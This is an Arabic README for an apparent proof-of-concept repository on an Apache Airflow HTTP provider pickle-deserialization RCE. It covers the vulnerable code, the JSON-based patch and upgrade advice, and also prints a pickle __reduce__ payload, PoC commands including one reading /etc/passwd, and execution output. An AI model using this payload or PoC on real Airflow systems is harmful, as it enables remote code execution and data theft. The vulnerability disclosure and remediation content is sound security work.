
الخطورة: عالية (CVSS 3.1: 8.8)
ناقل الهجوم:AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-913 — تحكم غير سليم في موارد التعليمات البرمجية المُدارة ديناميكيًا
الإصدارات المتأثرة:apache-airflow-providers-http >= 5.1.0, < 6.0.0
تم الإصلاح في:apache-airflow-providers-http == 6.0.0
التصحيح: apache/airflow#61662 · commit 97839f7
كان مزوّد HTTP الخاص بـ Apache Airflow يستخدم وحدة pickle في بايثون لتسلسل وإلغاء تسلسل استجابات مشغّل HTTP للمهام المؤجلة. كانت نقطة الاستغلال (sink) المعرّضة للخطر في HttpOperator.execute_complete() على النحو التالي:
# VULNERABLE (pre-patch) — providers/http/src/.../operators/http.py
response = pickle.loads(base64.standard_b64decode(event["response"]))
يتم قراءة قاموس event من قاعدة بيانات Airflow، ما يعني أن أي كيان يملك صلاحيات كتابة في قاعدة البيانات يمكنه زرع حمولة pickle خبيثة. عندما يعالج عامل Triggerer المهمة المؤجلة، فإنه يلغي تسلسل تلك الحمولة بشكل أعمى، منفذًا أوامر نظام تشغيل عشوائية بصلاحيات عملية Triggerer — أي ما يعادل صلاحيات مؤلف DAG.
يُعد استدعاء pickle.loads() على بيانات غير موثوقة عملية غير آمنة بطبيعتها. يسمح بروتوكول __reduce__ الخاص بـ pickle بتضمين أي كائن قابل للاستدعاء في بايثون داخل الكتلة المتسلسلة واستدعائه أثناء إلغاء التسلسل دون أي عزل (sandboxing).
يقوم Triggerer التابع لـ Airflow بتسلسل استجابة HTTP عند اكتمالها وتخزينها في قاعدة البيانات:
# triggers/http.py (pre-patch)
yield TriggerEvent({
"status": "success",
"response": base64.standard_b64encode(pickle.dumps(response)).decode("ascii"),
})
يستبدل المهاجم على مستوى قاعدة البيانات هذه القيمة بكتلة pickle مصنوعة بعناية، على سبيل المثال:
class RCEPayload:
def __reduce__(self):
return (os.system, ("id",))
payload = base64.b64encode(pickle.dumps(RCEPayload())).decode()
ثم يستدعي Triggerer الدالة execute_complete ← pickle.loads() ← RCE (تنفيذ التعليمات البرمجية عن بُعد).
يستبدل التصحيح pickle بالكامل بمُسلسل JSON آمن وصريح:
# triggers/http.py (post-patch)
yield TriggerEvent({
"status": "success",
"response": HttpResponseSerializer.serialize(response), # JSON dict
})
# HttpResponseSerializer.deserialize() — validates input is a dict, never executes code
if isinstance(data, str):
raise TypeError("Response data must be a dict, got str")
يعيد مُلغي التسلسل الجديد بناء كائن requests.Response فقط من الحقول المعروفة (status_code، headers، content، إلخ) — لا يمكن تنفيذ أي تعليمات برمجية عشوائية.
# Python 3.9+; install a vulnerable version
pip install "apache-airflow-providers-http>=5.1.0,<6.0.0"
يعيد إنتاج استدعاء pickle.loads() المعرّض للخطر داخل العملية:
python poc.py
# or with a custom command:
python poc.py --cmd "whoami"
مثال على المخرجات:
CVE-2025-69219 | Apache Airflow Providers HTTP < 6.0.0
Unsafe Pickle Deserialization → RCE via HttpOperator
-------------------------------------------------------
[*] Command : id
[*] Pickle payload: gASVKAAAAAAAAACMAnBvc3lzdGVtlIWUUpQu...
[*] Triggering deserialization (simulating execute_complete) ...
uid=1000(user) gid=1000(user) groups=1000(user)
[+] os.system returned: 0 (0 = success)
# Generate a deployable DAG
python poc.py --mode dag --cmd "id"
# Copy to your Airflow DAGs directory
cp cve_2025_69219_poc_dag.py $AIRFLOW_HOME/dags/
# Trigger from the Airflow UI or CLI
airflow dags trigger cve_2025_69219_poc
تحقق من سجلات المهمة للاطلاع على مخرجات الأمر.
python poc.py --show-payload --cmd "cat /etc/passwd"
| العامل | التفاصيل |
|---|---|
| من يمكنه الاستغلال | أي مستخدم يملك صلاحية كتابة مباشرة في قاعدة بيانات Airflow |
apache-airflow-providers-http إلى الإصدار 6.0.0 أو أحدث.deferrable=True)، حيث أن المهام قيد التنفيذ التي تم تسلسلها باستخدام pickle ستُحدث خطأ TypeError بعد الترقية (تغيير جوهري موثق في سجل تغييرات المزوّد).pip install "apache-airflow-providers-http>=6.0.0"
| التاريخ | الحدث |
|---|---|
| 2026-03-09 | نشر CVE بواسطة Apache Software Foundation |
| 2026-03-09 | دمج الإصلاح (PR #61662، commit 97839f7) |
| 2026-03-09 | الإفصاح عنه في القائمة البريدية oss-security |
يستند إثبات المفهوم في هذا المستودع إلى العمل الأصلي الذي قام به @ahmetartuc.
يُنشر إثبات المفهوم هذا للأغراض التعليمية وبحوث الأمن فقط. لا تختبره إلا ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن أي إساءة استخدام.
| سياق التنفيذ | عملية عامل Triggerer (بنفس صلاحيات مؤلف DAG) |
| الاحتمالية | منخفضة — الوصول المباشر إلى قاعدة البيانات غير معتاد في بيئات النشر المهيأة جيدًا |
| نطاق الضرر (Blast radius) | RCE كامل على مضيف عقدة Triggerer: سرقة البيانات، الحركة الجانبية، الاستمرارية |